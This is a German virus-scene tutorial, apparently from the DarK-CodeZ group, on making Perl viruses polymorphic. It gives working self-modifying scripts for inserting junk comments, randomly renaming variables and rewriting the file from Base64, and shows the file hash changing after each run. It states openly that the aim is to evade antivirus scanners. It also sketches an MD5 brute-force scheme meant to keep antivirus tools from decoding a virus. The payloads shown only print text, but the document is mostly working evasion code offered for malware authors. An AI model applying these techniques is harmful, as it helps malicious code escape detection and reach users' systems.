#!/usr/bin/perl DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ DaRk- DaRk- CoDeZ Perl Polymorphes Coden CoDeZ DaRk- by Perforin DaRk- CoDeZ CoDeZ DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ $$$$$$$$$$$$$ $$ Intro $$ $$$$$$$$$$$$$ Servus Leute! Nach meinem Perl Virus writting TuT kommt nun mein Perl Polymorphes Coden TuTorial :) Ich werde hier kurz erläutern wie man Variabeln changed, sowie Trash Code einfügt und wie man seinen Code kodiert! $$$$$$$$$$$$$$$$ $$ Trash Code $$ $$$$$$$$$$$$$$$$ Beim Trash Code handelt es sich wie der name schon vermuten lässt um Code der absolut gar keinen Sinn ergibt und nur gut ist um den Hash Wert einer Datei zu ändern.Dazu zeig ich euch nun ein kleines Skript. #!/usr/bin/perl # Simples Trash Code Skript # by Perforin open(Virii,"<","$0"); @Virii = ; close(Virii); open(Virus,">","$0"); foreach $line (@Virii) { $zahl1 = rand(501); $zahl2 = int($zahl1); $zahl3 = rand(501); $zahl4 = int($zahl3); print Virus $line; print Virus "#$zahl2\n"; print Virus "#$zahl4\n"; } close(Virus); Die Datei hab ich in meinen Hash Checker gegeben und folgendes kam dabei raus. trash_code.pl Namen Hash: d32dc49518dd6601e0ec4f1c41998c80 Checksumme: 09b61e823561e0354257f979d8ec9f13 Nach dem start der Datei ändert sich der Hash Wert.Dazu hab ich die Datei wieder gecheckt! trash_code.pl Namen Hash: d32dc49518dd6601e0ec4f1c41998c80 Checksumme: 5acf1d746fe4c3f3047b981d2aee4900 Dieses kleine Skript tut nichts anderes als sich selber einzulesen, und danach sich selber neu zu beschreiben, nur dass es unter jeden Code Zeile noch Kommentare einfügt mit irgendwelchen zufallszahlen.Sehr easy, trotzdem oft wirkungsvoll da AV´s Perl Viren eh nicht ordentlich scannen... $$$$$$$$$$$$$$$$$$ $$ Var Changing $$ $$$$$$$$$$$$$$$$$$ Das hier ist sozusagen die Königsdisziplin. Nuja, jedenfalls hat mich das coden dieses Skripts bissl länger beschäftigt :P Wie auch vorhin zeig ich euch den Hash Wert bevor und nach dem starten des Skripts! Zuerst jedoch, das Skript selber. #!/usr/bin/perl # Simples Var changing Skript # by Perforin $zahl1 = rand(27); $zahl2 = int($zahl1); $zahl3 = rand(27); $zahl4 = int($zahl3); @uppernamen = ("A".."Z"); @lowernamen = ("a".."Z"); $ganzzahl1 = $uppernamen[$zahl2]; $ganzzahl2 = $lowernamen[$zahl4]; @vars = ("$ganzzahl1", "$ganzzahl2"); @change = ("alpha", "beta"); $alpha = 123; $beta = 456; print "$alpha"."$beta"; open(Virii,"<","$0"); @Virii = ; close(Virii); open(Virus,">","$0"); foreach $line (@Virii) { $line =~ s/$change[0]/$vars[0]/; $line =~ s/$change[1]/$vars[1]/; print Virus $line; } close(Virus); Hash Checking... var_changing.pl Namen Hash: 3495cb62d331645235b277e3e00e437d Checksumme: f00fdbdcba608d310d91c464b93112dd Und nach dem starten... var_changing.pl Namen Hash: 3495cb62d331645235b277e3e00e437d Checksumme: 80f782187bc05003975da83ec3121527 Bäääääääm! Wieder ein anderer Hash :) Das Skript liest sich selber ein und wechselt die Variabeln alpha und beta.Nun, werden alpha und beta durch einen Buchstaben der zufällig gefunden wurde, ersetzt.Wichtig hierbei ist, dass man nicht nur rand() benutzt sondern auch noch int(), da bei rand() eine Zahl mit Komma rauskommt und dies würde zu Fehlern führen. Nuja, aus diesen Zufallszahlen werden dann Buchstaben aus den arrays uppername und lowername gewählt.Das muss man so machen, da man keine Zahlen als Variabel namen wählen darf. Diese haben eine spezielle Funktion, wie z.B $0. $$$$$$$$$$$$$$$$$$$$ $$ Kodierter Code $$ $$$$$$$$$$$$$$$$$$$$ Kodierter Code? Kodierter Code! Also, man kann seinen Code kodieren,und dies geht relativ einfach.Ich muss jedoch gestehen dass mein Skript, nicht wirklich was mit Polymorhpismus zu tun hat, da es einfach nur einen String dekodiert.Nuja, das Kapitel soll eher ein Denkanstoss sien, wie mans machen kann.Wer wirklich polymorphen kodierten Perl Code sehen will, dem lege ich Snakebytes Polymorphismus TuT zu Herzen. Zu finden auf seiner Homepage! Here we go... #!/usr/bin/perl # Simple Kodierungs Skript # by Perforin use MIME::Base64; $kodiert = " IyEvdXNyL2Jpbi9wZXJsDQojIFNpbXBsZSBLb2RpZXJ1bmdzIFNrcmlwdA0KIyBieSBQZXJmb3Jp bg0KDQpwcmludCAid3d3LnBlcmZvcmlucy1zb2Z0d2FyZS5kZS52dVxuIjsNCnByaW50ICJBaG9p IEJyYXVzZSFcbiI7 "; $decoded = decode_base64("$kodiert"); open(Virus,">","$0"); print Virus $decoded; close(Virus); Hash checking... crypt_code.pl Namen Hash: 0d719c2d9ad7fe548867f26eb44c4968 Checksumme: c8e4fc01dde5351a2638e919041b357a Nach dem start... crypt_code.pl Namen Hash: 0d719c2d9ad7fe548867f26eb44c4968 Checksumme: f0c481ab21ebedceb637a9ac765ac953 Oh Wunder, ein anderer Hash. Und ich sag euch noch was nach dem start herauskommt, das wäre: #!/usr/bin/perl # Simple Kodierungs Skript # by Perforin print "www.perforins-software.de.vu\n"; print "Ahoi Brause!\n"; Was ist bei meinem Skript da wichtig? Wohl das MIME Base64 Modul ;) Das macht es einen sehr einfach. Wenn wir nun mal ins Theoretische übergehen würden, erläutere ich hier noch eine Idee.Man könnte ein Skript basteln,das jede Zeile von sich selbst in einen MD5 Hash umwandelt.So, da MD5 nur einmal geht muss man zum dekoden einen Bruter haben. Nun, müsste der Kodierte code nur in nicht kodierter Fassung in einem Array vorliegen, das das Skript zum bruten benutzt.Was bringt uns das? Ganz einfach, ein AV wird sich niemals die mühe machen, einen Virus zu cracken.Das würde einfach zuviel Zeit in Anspruch nehmen.Denkt mal drüber nach ;) $$$$$$$$$$$$$ $$ __END__ $$ $$$$$$$$$$$$$ Jio, hier ist wieder Schluß mit diesem TuT.Was bleibt mir noch zu sagen?Bleibt dem coden Treu, zieht euch soviele Sources wie möglich rein und besucht mal hin und wieder DarK-CodeZ oder meinen Blog.Dort gibs immer Sources, TuTs und News! # Ketzerei ist wie ein Baum. # Ihre Wurzeln liegen im Dunkel, # während ihre Blätter sich in der Sonne wiegen, # und den Arglosen erscheint sie verführerisch und angenehm. # Wahrlich, du kannst ihre Äste zerschneiden oder sogar den # Baum bis zum Boden abschlagen, doch er wird erneut wachsen, # stets stärker und dem Auge gefälliger als zuvor. # Und immerfort wachsen die Wurzeln, dick und schwarz, # nagen an der bitteren Erde, ziehen ihre Nahrung aus # der Finsternis, werden immer länger und krallen sich # tiefer und tiefer. Von solchem Wesen ist die Ketzerei, # und deshalb ist sie so schwer zu vernichten, # denn sie muss mit Laub und Ast, Stumpf und Stiel # und Wurzel ausradiert werden. Sie muss völlig ausgetrieben # werden, oder sie kehrt umso stärker zurück, # immer und immer wieder, bis sie zu groß ist, # um sie noch vernichten zu können. Dann sind wir verdammt. www.DarK-CodeZ.org www.perforins-software.de.vu Written by Perforin